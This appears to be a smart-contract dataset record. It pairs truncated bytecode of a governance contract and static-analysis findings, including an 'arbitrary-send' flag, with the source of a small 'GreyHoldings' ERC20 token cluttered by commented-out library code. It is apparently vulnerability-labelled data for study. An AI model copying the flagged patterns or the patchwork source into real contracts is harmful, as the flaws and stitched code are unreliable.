0000000000000000000000000000000815260040161090b90612c13565b84518651148015611182575083518651145b801561118f575082518651145b6111c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906131d2565b85516111fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90613027565b6002548651111561123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90613175565b3360009081526009602052604090205480156112eb57600061125b826108c1565b9050600181600781111561126b57fe5b14156112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b9061328c565b60008160078111156112b157fe5b14156112e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612e8d565b505b600042905060006112fe82600354611d9c565b6006805460010190559050611311611fd3565b60065480825233602080840191825260408085018e8152606086018e9052608086018d905260a086018c90524360c087015260e08601889052610100860187905260009485526007835293208451815591516001830180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9092169190911790559151805184936113c092600285019291019061205c565b50606082015180516113dc9160038401916020909101906120e6565b50608082015180516113f891600484019160209091019061212d565b5060a08201518051611414916005840191602090910190612186565b5060c0820151816006015560e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b015561018082015181600c0160006101000a81548160ff0219169083151502179055506101a082015181600c0160016101000a81548160ff021916908315150217905550905050806000015160096000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161152999989796959493929190613342565b60405180910390a1519998505050505050505050565b600461154a826108c1565b600781111561155557fe5b1461158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906130bb565b60008181526007602090815260408083206004805483517f6a42b8f8000000000000000000000000000000000000000000000000000000008152935192959461160c94429473ffffffffffffffffffffffffffffffffffffffff90931693636a42b8f8938282019392909190829003018186803b158015610a2d57600080fd5b905060005b60028301548110156117fd576117f583600201828154811061162f57fe5b60009182526020909120015460038501805473ffffffffffffffffffffffffffffffffffffffff909216918490811061166457fe5b906000526020600020015485600401848154811061167e57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561172a5780601f106116ff5761010080835404028352916020019161172a565b820191906000526020600020905b81548152906001019060200180831161170d57829003601f168201915b505050505086600501858154811061173e57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156117ea5780601f106117bf576101008083540402835291602001916117ea565b820191906000526020600020905b8154815290600101906020018083116117cd57829003601f168201915b505050505086611e28565b600101611611565b50600982018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892906118379085908490613444565b60405180910390a1505050565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b6118706121df565b50600082815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff851684528252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b60056118f1826108c1565b60078111156118fc57fe5b14611933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612ccd565b6000818152600760205260408120600c810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b6002820154811015611ade5760045460038301805473ffffffffffffffffffffffffffffffffffffffff90921691630825f38f9190849081106119b057fe5b90600052602060002001548460020184815481106119ca57fe5b60009182526020909120015460038601805473ffffffffffffffffffffffffffffffffffffffff90921691869081106119ff57fe5b9060005260206000200154866004018681548110611a1957fe5b90600052602060002001876005018781548110611a3257fe5b9060005260206000200188600901546040518763ffffffff1660e01b8152600401611a61959493929190612a96565b6000604051808303818588803b158015611a7a57600080fd5b505af1158015611a8e573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052611ad5919081019061264a565b50600101611971565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051610d409190612b5b565b6001611b19836108c1565b6007811115611b2457fe5b14611b5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612e30565b60008281526007602090815260408083206008835281842073ffffffffffffffffffffffffffffffffffffffff88168552909252909120805460ff1615611bce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612f6d565b60055460068301546040517f782d6fe100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff169163782d6fe191611c2a918a916004016129d3565b60206040518083038186803b158015611c4257600080fd5b505afa158015611c56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7a91906127b7565b90508315611ca857611c9e83600a0154826bffffffffffffffffffffffff16611d9c565b600a840155611cca565b611cc483600b0154826bffffffffffffffffffffffff16611d9c565b600b8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611d8c9088908890889086906129f9565b60405180910390a1505050505050565b600082820183811015611ddb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90613084565b9392505050565b600082821115611e1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90613255565b50900390565b4690565b60045460405173ffffffffffffffffffffffffffffffffffffffff9091169063f2b0653790611e639088908890889088908890602001612a3c565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611e959190612b5b565b60206040518083038186803b158015611ead57600080fd5b505afa158015611ec1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee59190612616565b15611f1c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612d50565b600480546040517f3a66f90100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691633a66f90191611f79918991899189918991899101612a3c565b602060405180830381600087803b158015611f9357600080fd5b505af1158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612632565b505050505050565b604051806101c0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001606081526020016060815260200160608152602001606081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b8280548282559060005260206000209081019282156120d6579160200282015b828111156120d657825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90911617825560209092019160019091019061207c565b506120e29291506121ff565b5090565b828054828255906000526020600020908101928215612121579160200282015b82811115612121578251825591602001919060010190612106565b506120e2929150612236565b82805482825590600052602060002090810192821561217a579160200282015b8281111561217a578251805161216a91849160209091019061224b565b509160200191906001019061214d565b506120e29291506122b8565b8280548282559060005260206000209081019282156121d3579160200282015b828111156121d357825180516121c391849160209091019061224b565b50916020019190600101906121a6565b506120e29291506122d5565b604080516060810182526000808252602082018190529181019190915290565b5b808211156120e25780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612200565b5b808211156120e25760008155600101612237565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061228c57805160ff1916838001178555612121565b828001600101855582156121215791820182811115612121578251825591602001919060010190612106565b808211156120e25760006122cc82826122f2565b506001016122b8565b808211156120e25760006122e982826122f2565b506001016122d5565b50805460018160011615610100020316600290046000825580601f106123185750612336565b601f0160209004906000526020600020908101906123369190612236565b50565b803573ffffffffffffffffffffffffffffffffffffffff811681146118e057600080fd5b600082601f83011261236d578081fd5b813561238061237b82613479565b613452565b8181529150602080830190848101818402860182018710156123a157600080fd5b60005b848110156123c8576123b68883612339565b845292820192908201906001016123a4565b505050505092915050565b600082601f8301126123e3578081fd5b81356123f161237b82613479565b818152915060208083019084810160005b848110156123c857612419888484358a01016124e1565b84529282019290820190600101612402565b600082601f83011261243b578081fd5b813561244961237b82613479565b818152915060208083019084810160005b848110156123c857612471888484358a01016124e1565b8452928201929082019060010161245a565b600082601f830112612493578081fd5b81356124a161237b82613479565b8181529150602080830190848101818402860182018710156124c257600080fd5b60005b848110156123c8578135845292820192908201906001016124c5565b600082601f8301126124f1578081fd5b81356124ff61237b82613499565b915080825283602082850101111561251657600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215612540578081fd5b611ddb8383612339565b600080600080600060a08688031215612561578081fd5b853567ffffffffffffffff80821115612578578283fd5b61258489838a0161235d565b96506020880135915080821115612599578283fd5b6125a589838a01612483565b955060408801359150808211156125ba578283fd5b6125c689838a0161242b565b945060608801359150808211156125db578283fd5b6125e789838a016123d3565b935060808801359150808211156125fc578283fd5b50612609888289016124e1565b9150509295509295909350565b600060208284031215612627578081fd5b8151611ddb81613513565b600060208284031215612643578081fd5b5051919050565b60006020828403121561265b578081fd5b815167ffffffffffffffff811115612671578182fd5b8201601f81018413612681578182fd5b805161268f61237b82613499565b8181528560208385010111156126a3578384fd5b6126b48260208301602086016134e7565b95945050505050565b6000602082840312156126ce578081fd5b5035919050565b600080604083850312156126e7578182fd5b823591506126f88460208501612339565b90509250929050565b60008060408385031215612713578182fd5b82359150602083013561272581613513565b809150509250929050565b600080600080600060a08688031215612747578283fd5b85359450602086013561275981613513565b9350604086013560ff8116811461276e578384fd5b94979396509394606081013594506080013592915050565b6000806000806080858703121561279b578182fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156127c8578081fd5b81516bffffffffffffffffffffffff81168114611ddb578182fd5b6000815180845260208085019450808401835b8381101561282857815173ffffffffffffffffffffffffffffffffffffffff16875295820195908201906001016127f6565b509495945050505050565b6000815180845260208085019450848183028601828601855b858110156128765783830389526128648383516128b2565b9885019892509084019060010161284c565b5090979650505050505050565b6000815180845260208085019450808401835b8381101561282857815187529582019590820190600101612896565b600081518084526128ca8160208601602086016134e7565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000815460018082166000811461291a576001811461295657612994565b607f600284041686527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0083166020870152604086019350612994565b60028304808752612966866134db565b60005b8281101561298a5781546020828b0101528482019150602081019050612969565b8801602001955050505b50505092915050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9490941684526020840192909252151560408301526bffffffffffffffffffffffff16606082015260800190565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015260a06040830152612a7160a08301866128b2565b8281036060840152612a8381866128b2565b9150508260808301529695505050505050565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015260a06040830152612acb60a08301866128fc565b8281036060840152612a8381866128fc565b600060808252612af060808301876127e3565b8281036020840152612b028187612883565b90508281036040840152612b168186612833565b90508281036060840152612b2a8185612833565b979650505050505050565b921515835290151560208301526bffffffffffffffffffffffff16604082015260600190565b90815260200190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b6020810160088310612bfa57fe5b91905290565b600060208252611ddb60208301846128b2565b6020808252603e908201527f46657377476f7665726e6f723a3a70726f706f73653a2070726f706f7365722060408201527f766f7465732062656c6f772070726f706f73616c207468726573686f6c640000606082015260800190565b60208082526028908201527f46657377476f7665726e6f723a3a73746174653a20696e76616c69642070726f60408201527f706f73616c206964000000000000000000000000000000000000000000000000606082015260800190565b60208082526044908201527f46657377476f7665726e6f723a3a657865637574653a2070726f706f73616c2060408201527f63616e206f6e6c7920626520657865637574656420696620697420697320717560608201527f6575656400000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526043908201527f46657377476f7665726e6f723a3a5f71756575654f725265766572743a20707260408201527f6f706f73616c20616374696f6e20616c7265616479207175657565642061742060608201527f6574610000000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526035908201527f46657377476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e60408201527f63656c2065786563757465642070726f706f73616c0000000000000000000000606082015260800190565b60208082526029908201527f46657377476f7665726e6f723a3a5f63617374566f74653a20766f74696e672060408201527f697320636c6f7365640000000000000000000000000000000000000000000000606082015260800190565b60208082526058908201527f46657377476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652060408201527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060608201527f616c72656164792070656e64696e672070726f706f73616c0000000000000000608082015260a00190565b6020808252602e908201527f46657377476f7665726e6f723a3a63616e63656c3a2070726f706f736572206160408201527f626f7665207468726573686f6c64000000000000000000000000000000000000606082015260800190565b6020808252602c908201527f46657377476f7665726e6f723a3a5f63617374566f74653a20766f746572206160408201527f6c726561647920766f7465640000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f46657377476f7665726e6f723a3a63617374566f746542795369673a20696e7660408201527f616c6964207369676e6174757265000000000000000000000000000000000000606082015260800190565b6020808252602b908201527f46657377476f7665726e6f723a3a70726f706f73653a206d7573742070726f7660408201527f69646520616374696f6e73000000000000000000000000000000000000000000606082015260800190565b60208082526011908201527f6164646974696f6e206f766572666c6f77000000000000000000000000000000604082015260600190565b60208082526043908201527f46657377476f7665726e6f723a3a71756575653a2070726f706f73616c20636160408201527f6e206f6e6c79206265207175657565642069662069742069732073756363656560608201527f6465640000000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252601b908201527f46657377476f7665726e6f723a3a204e6f742054696d656c6f636b0000000000604082015260600190565b60208082526027908201527f46657377476f7665726e6f723a3a70726f706f73653a20746f6f206d616e792060408201527f616374696f6e7300000000000000000000000000000000000000000000000000606082015260800190565b60208082526043908201527f46657377476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2060408201527f66756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6160608201527f7463680000000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526015908201527f7375627472616374696f6e20756e646572666c6f770000000000000000000000604082015260600190565b60208082526057908201527f46657377476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652060408201527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060608201527f616c7265616479206163746976652070726f706f73616c000000000000000000608082015260a00190565b8151151581526020808301511515908201526040918201516bffffffffffffffffffffffff169181019190915260600190565b60006101208b835273ffffffffffffffffffffffffffffffffffffffff8b1660208401528060408401526133788184018b6127e3565b9050828103606084015261338c818a612883565b905082810360808401526133a08189612833565b905082810360a08401526133b48188612833565b90508560c08401528460e08401528281036101008401526133d581856128b2565b9c9b505050505050505050505050565b998a5273ffffffffffffffffffffffffffffffffffffffff9890981660208a015260408901969096526060880194909452608087019290925260a086015260c085015260e0840152151561010083015215156101208201526101400190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561347157600080fd5b604052919050565b600067ffffffffffffffff82111561348f578081fd5b5060209081020190565b600067ffffffffffffffff8211156134af578081fd5b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b60009081526020902090565b60005b838110156135025781810151838201526020016134ea565b838111156110605750506000910152565b801515811461233657600080fdfea2646970667358221220c178f60f481c098fb1f270bd650cf9d46ee5d8821cf1d4367413ecef65ac3bc864736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,489 |
0xeedac64009067f8543d149ce1bea869b5312fb7f
|
pragma solidity ^0.5.7;
// Official website: https://grey.holdings
// Official Twitter: https://twitter.com/_Greyholdings_
// Official Telegram: https://t.me/Grey_holdings
/*
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
/**
* @dev See {IERC20-allowance}.
*/
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
/* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
/* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
/* function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
/* function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/* function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
/* function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
/*function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
/* function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
/* function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
/* function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract GreyHoldings {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
// Modify this section
string public name = "Grey.holdings";
string public symbol = "GREY";
uint8 public decimals = 0;
uint256 public totalSupply = 10000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
// Initially assign all tokens to the contract's creator.
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea165627a7a7230582034ea8ef6dd0b685a7710046a51b74fd554a5512680